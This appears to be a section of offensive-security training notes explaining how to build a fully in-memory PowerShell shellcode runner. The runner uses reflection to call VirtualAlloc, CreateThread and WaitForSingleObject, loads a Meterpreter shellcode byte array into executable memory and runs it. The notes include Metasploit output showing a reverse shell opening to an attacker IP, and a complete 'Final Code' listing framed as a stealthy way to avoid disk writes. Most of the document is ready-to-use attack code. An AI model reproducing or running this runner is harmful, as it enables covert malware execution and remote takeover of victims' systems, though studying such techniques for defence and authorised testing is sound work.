Reflection Shellcode Runner in PowerShell
In this section, the focus is on creating a fully in-memory PowerShell shellcode runner using the reflection technique, completely avoiding disk writes. This method is built upon previous sections, where we:
Used UnsafeNativeMethods to resolve Win32 API function addresses dynamically.
Created delegate types via reflection to match function signatures.
Now, we apply these techniques to build a stealthy shellcode execution method using PowerShell.
Step 1: Creating a Generic Delegate Type
To execute shellcode, we need to invoke three essential Win32 API functions:
VirtualAlloc – Allocates executable memory.
CreateThread – Creates a new thread to execute shellcode.
WaitForSingleObject – Prevents PowerShell from exiting before execution.
To streamline the process, we convert the delegate type creation code into a reusable function called getDelegateType
. This function:
Creates an in-memory assembly and module.
Defines a delegate type dynamically.
Returns the constructed delegate type for API calls.
Code for getDelegateType
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
This function takes API argument types and a return type, returning a dynamically created delegate type.
Step 2: Allocating Executable Memory
We resolve and call VirtualAlloc to allocate a memory buffer for the shellcode:
$lpMem =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(LookupFunc kernel32.dll VirtualAlloc),
(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).
Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
This allocates 4KB of executable memory (
0x1000
size,0x40
forPAGE_EXECUTE_READWRITE
).
Step 3: Injecting Shellcode
We then generate shellcode (e.g., Metasploit Meterpreter) and store it in a byte array:
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...
To copy shellcode into the allocated memory:
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
This writes the shellcode directly into memory.
Step 4: Executing the Shellcode
Now, we create a new thread to execute our shellcode using CreateThread:
powershellCopyEdit$hThread =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(LookupFunc kernel32.dll CreateThread),
(getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).
Invoke([IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero)
This launches the shellcode in a new thread.
Finally, we prevent PowerShell from terminating by waiting for the thread to complete:
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(LookupFunc kernel32.dll WaitForSingleObject),
(getDelegateType @([IntPtr], [Int32]) ([Int]))).
Invoke($hThread, 0xFFFFFFFF)
This blocks execution until the thread completes.
Final Execution: Reverse Shell
Once executed, the PowerShell script establishes a reverse Meterpreter shell, confirmed by:
[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.11; (UUID: pm1qmw8u)
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.11:49678)
meterpreter >
This confirms the shellcode successfully executed.
Final Code
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
#shell
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0....
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)
Last updated